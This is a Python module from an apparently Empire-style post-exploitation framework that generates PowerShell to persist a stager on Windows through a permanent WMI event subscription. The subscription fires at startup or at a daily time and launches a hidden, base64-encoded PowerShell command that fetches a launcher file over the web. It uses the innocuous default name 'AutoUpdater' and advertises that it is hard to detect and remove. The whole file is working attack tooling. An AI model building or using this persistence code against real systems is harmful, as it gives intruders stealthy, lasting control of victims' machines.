import os
from lib.common import helpers

class Module:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-WMI',

            'Author': ['@mattifestation', '@harmj0y', '@tristandostaler'],

            'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),

            'Background' : False,

            'OutputExtension' : None,
            
            'NeedsAdmin' : True,

            'OpsecSafe' : False,

            'Language' : 'powershell',

            'MinLanguageVersion' : '2',
            
            'Comments': [
                'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                'Description'   :   'Agent to run module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Launcher' : {
                'Description'   :   'Launcher string.',
                'Required'      :   True,
                'Value'         :   'powershell -noP -sta -w 1 -enc '
            },
            #'Listener' : {
            #    'Description'   :   'Listener to use.',
            #    'Required'      :   False,
            #    'Value'         :   ''
            #},
            'DailyTime' : {
                'Description'   :   'Daily time to trigger the script (HH:mm).',
                'Required'      :   False,
                'Value'         :   ''
            },
            'AtStartup' : {
                'Description'   :   'Switch. Trigger script (within 5 minutes) of system startup.',
                'Required'      :   False,
                'Value'         :   'True'
            },
            'SubName' : {
                'Description'   :   'Name to use for the event subscription.',
                'Required'      :   True,
                'Value'         :   'AutoUpdater'
            },                      
            'ExtFile' : {
                'Description'   :   'Use an external file for the payload instead of a stager.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'Cleanup' : {
                'Description'   :   'Switch. Cleanup the trigger and any script from specified location.',
                'Required'      :   False,
                'Value'         :   ''
            },
           'WebFile' : {
                'Description'   :   'The location of the launcher.bat file to fetch over the network/web',
                'Required'      :   True,
                'Value'         :   'http://127.0.0.1/launcher.bat'
            }
            #'UserAgent' : {
            #    'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
            #    'Required'      :   False,
            #    'Value'         :   'default'
            #},
            #'Proxy' : {
            #    'Description'   :   'Proxy to use for request (default, none, or other).',
            #    'Required'      :   False,
            #    'Value'         :   'default'
            #},
            #'ProxyCreds' : {
            #    'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
            #    'Required'      :   False,
            #    'Value'         :   'default'
            #}
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value


    def generate(self):
        
        #listenerName = self.options['Listener']['Value']
        launcher_prefix = self.options['Launcher']['Value']
        
        # trigger options
        dailyTime = self.options['DailyTime']['Value']
        atStartup = self.options['AtStartup']['Value']
        subName = self.options['SubName']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']
        webFile = self.options['WebFile']['Value']
        # staging options
        #userAgent = self.options['UserAgent']['Value']
        #proxy = self.options['Proxy']['Value']
        #proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        if cleanup.lower() == 'true':
            # commands to remove the WMI filter and subscription
            script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
            script += "'WMI persistence removed.'"
            
            return script

        if extFile != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix)
            
            encScript = launcher.split(" ")[-1]
            statusMsg += "using launcher_fetcher"

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(encScript) > 8190:
            print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
            return ""

        # built the command that will be triggered
        triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
        
        if dailyTime != '':
            
            parts = dailyTime.split(":")
            
            if len(parts) < 2:
                print helpers.color("[!] Please use HH:mm format for DailyTime")
                return ""

            hour = parts[0]
            minutes = parts[1]

            # create the WMI event filter for a system time
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
            statusMsg += " WMI subscription daily trigger at " + dailyTime + "."

        else:
            # create the WMI event filter for OnStartup
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            statusMsg += " with OnStartup WMI subsubscription trigger."


        # add in the event consumer to launch the encrypted script contents
        script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"

        # bind the filter and event consumer together
        script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"


        script += "'WMI persistence established "+statusMsg+"'"
        
        return script
